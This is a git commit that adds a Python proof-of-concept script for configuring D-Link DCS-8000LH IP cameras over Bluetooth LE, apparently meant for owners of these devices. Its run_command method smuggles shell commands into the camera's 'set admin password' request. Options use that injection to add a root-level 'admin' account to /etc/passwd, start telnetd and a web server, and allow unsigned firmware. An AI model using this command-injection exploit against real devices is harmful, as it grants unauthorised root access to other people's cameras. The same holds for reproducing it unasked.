aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorBjørn Mork <bjorn@mork.no>2019-05-15 00:55:15 +0200
committerBjørn Mork <bjorn@mork.no>2019-05-15 01:07:55 +0200
commitd5d6c82714d93cb16ff9a304d822e0202b0ca356 (patch)
treecfb72356f32876dfd1f2da98fb9d170ec03e3236
parent4445541689b788799f4f230375bce4814fc893f1 (diff)
Bluetooth LE python script for initial D-Link camera configuration
Proof-of-Concept python script implmententing most of the D-Link Bluetooth LE IP camera API. Including some features missing from D-Links app, like the ability to start a telnet server or web server on the camera. Signed-off-by: Bjørn Mork <bjorn@mork.no>
-rwxr-xr-xdcs8000lh-configure.py181
1 files changed, 181 insertions, 0 deletions
diff --git a/dcs8000lh-configure.py b/dcs8000lh-configure.py
new file mode 100755
index 0000000..d347db5
--- /dev/null
+++ b/dcs8000lh-configure.py
@@ -0,0 +1,181 @@
+#!/usr/bin/python3
+#
+# SPDX-License-Identifier: GPL-2.0
+# Copyright(c) 2019 Bjørn Mork <bjorn@mork.no>
+
+import sys
+import argparse
+import base64
+import hashlib
+from bluepy.btle import Peripheral
+
+VERSION = "9.9.9-bmork"
+
+# helper converting "K=V;L=W;.." strings to { "K": "V", "L": "W". ...} dicts
+def kv2dict(kvstr, sep=";"):
+ result = {}
+ for x in kvstr.split(sep, 50):
+ (k, v) = x.split("=", 2)
+ result[k] = v
+ return result
+
+class BleCam(object):
+ locked = True
+
+ def __init__(self, address, pincode):
+ print("Connecting to %s..." % address)
+ self.pincode = pincode
+ self.periph = Peripheral(address)
+ self._ipcamservice()
+ self.name = self.periph.getCharacteristics(uuid=0x2a00)[0].read().decode() # wellknown name characteristic
+ print("Connected to '%s'" % self.name)
+
+ def _ipcamservice(self):
+ try:
+ print("Verifying IPCam service")
+ self.service = self.periph.getServiceByUUID(0xd001)
+ self.handles = self.service.getCharacteristics()
+ except BTLEEException:
+ print("no IPCam service found for %s" % periph.address)
+
+ def dumpchars(self):
+ print("%s supports these characteristics:" % self.name)
+ for h in self.handles:
+ print("%s - Handle=%#06x (%s)" % (h.uuid, h.getHandle(), h.propertiesToString()))
+
+ def unlock(self):
+ if not self.locked:
+ return True
+ auth = self.service.getCharacteristics(0xa001)[0]
+ state = kv2dict(auth.read().decode())
+
+ # already unlocked?
+ if state["M"] == 0:
+ self.locked = False
+ return True
+
+ self.challenge = state["C"]
+ hashit = self.name + self.pincode + self.challenge
+ self.key = base64.b64encode(hashlib.md5(hashit.encode()).digest())[:16]
+ try:
+ auth.write("M=0;K=".encode() + self.key, True)
+ self.locked = False
+ except:
+ print("ERROR: failed to unlock %s - wrong pincode?" % self.name)
+ return not self.locked
+
+ def get_ipconfig(self):
+ if not self.unlock(): return
+ return kv2dict(self.service.getCharacteristics(0xa104)[0].read().decode())
+
+ def get_wificonfig(self):
+ if not self.unlock(): return
+ return kv2dict(self.service.getCharacteristics(0xa101)[0].read().decode())
+
+ def wifilink(self):
+ if not self.unlock(): return
+ r = kv2dict(self.service.getCharacteristics(0xa103)[0].read().decode())
+ return r["S"] == "1"
+
+ def sysinfo(self):
+ if not self.unlock(): return
+ return kv2dict(self.service.getCharacteristics(0xa200)[0].read().decode())
+
+ def setup_wifi(self, essid, passwd):
+ for net in self.wifi_scan():
+ if net["I"] == essid:
+ cfg = "M=" + net["M"] + ";I=" + essid + ";S=" + net["S"] + ";E=" + net["E"] + ";K=" + passwd
+ print("Will configure: %s" % cfg)
+ self.service.getCharacteristics(0xa101)[0].write(cfg.encode(), True)
+ self.service.getCharacteristics(0xa102)[0].write("C=1".encode(), True)
+ return True
+ print("%s cannot see the '%s' network" % (self.name, essid))
+ return False
+
+ def wifi_scan(self):
+ def _wifi2dict(wifistr):
+ return kv2dict(wifistr[2:], ",")
+
+ if not self.unlock(): return
+ print("%s is scanning for WiFi networks..." % self.name)
+ scan = self.service.getCharacteristics(0xa100)[0]
+ p = -1
+ n = 0
+ result = ""
+ while p < n:
+ t = scan.read().decode().split(";", 3)
+ result = result + t[2]
+ if not t[0].startswith("N=") or not t[1].startswith("P="):
+ return
+ n = int(t[0].split("=",2)[1])
+ p = int(t[1].split("=",2)[1])
+ # print("read page %d of %d" % (p, n))
+ return map(_wifi2dict, result.split("&", 50))
+
+ def run_command(self, command):
+ if not self.unlock(): return
+
+ run = "P=" + self.pincode + ";N=" + self.pincode + "&&(" + command + ")&"
+ if len(run) > 128:
+ print("ERROR: command is too long")
+ return
+ print("Attempting to run '%s' on %s by abusing the 'set admin password' request" % (command, self.name))
+ try:
+ self.service.getCharacteristics(0xa201)[0].write(run.encode(), True)
+ except:
+ # try repeating with an empty password, which seems to be te initial state after factory reset
+ run = "P=;N=" + self.pincode + "&&(" + command + ")&"
+ try:
+ self.service.getCharacteristics(0xa201)[0].write(run.encode(), True)
+ except:
+ print("ERROR: Failed - is the admin password different from the pincode?")
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser(description="IPCam Bluetooth configuration tool.")
+ parser.add_argument("address", help="IPCam Bluetooth MAC address (01:23:45:67:89:AB)")
+ parser.add_argument("pincode", help="IPCam PIN Code (6 digits)")
+ #parser.add_argument("-v", "--verbose", help="Verbose output", action="store_true")
+ parser.add_argument("--essid", help="Connect to this WiFi network")
+ parser.add_argument("--wifipw", help="Password for ESSID")
+ parser.add_argument("--survey", help="List WiFi networks seen by the IPCam", action="store_true")
+ parser.add_argument("--netconf", help="Print current network configuration", action="store_true")
+ parser.add_argument("--sysinfo", help="Dump system configuration", action="store_true")
+ parser.add_argument("--command", help="Run command on IPCam")
+ parser.add_argument("--telnetd", help="Start telnet server on IPCam", action="store_true")
+ parser.add_argument("--lighttpd", help="Start web server on IPCam", action="store_true")
+ parser.add_argument("--unsignedfw", help="Allow unsigned firmware", action="store_true")
+ parser.add_argument("--attrs", help="Dump IPCam GATT characteristics", action="store_true")
+ parser.add_argument("-V", "--version", action="version", version="%(prog)s " + VERSION)
+ args = parser.parse_args()
+
+ cam = BleCam(args.address, args.pincode)
+ if args.essid:
+ wifiok = cam.setup_wifi(args.essid, args.wifipw)
+ if args.netconf:
+ print("wifi link is %s" % "Up" if cam.wifilink() else "Down")
+ print("wifi config: %s" % cam.get_wificonfig())
+ print("ip config: %s" % cam.get_ipconfig())
+ if args.sysinfo:
+ print(cam.sysinfo())
+ if args.survey:
+ for network in cam.wifi_scan():
+ print(network)
+ if args.command:
+ cam.run_command(args.command)
+ if args.telnetd:
+ print("Adding the 'admin' user as an alias for 'root'")
+ cam.run_command("grep -Eq ^admin: /etc/passwd||echo admin:x:0:0::/:/bin/sh >>/etc/passwd")
+ print("Setting the 'admin' user password to '%s'"% args.pincode)
+ cam.run_command("grep -Eq ^admin:x: /etc/passwd&&echo admin:" + args.pincode + "|chpasswd")
+ print("Starting telnetd")
+ cam.run_command("pidof telnetd||telnetd")
+ if args.lighttpd:
+ cam.run_command("[ $(tdb get HTTPServer Enable_byte) -eq 1 ] || tdb set HTTPServer Enable_byte=1")
+ cam.run_command("/etc/rc.d/init.d/extra_lighttpd.sh start")
+ if args.unsignedfw:
+ cam.run_command("tdb set SecureFW _TrustLevel_byte=0")
+ if args.attrs:
+ cam.dumpchars()
+
+
+print("Done.")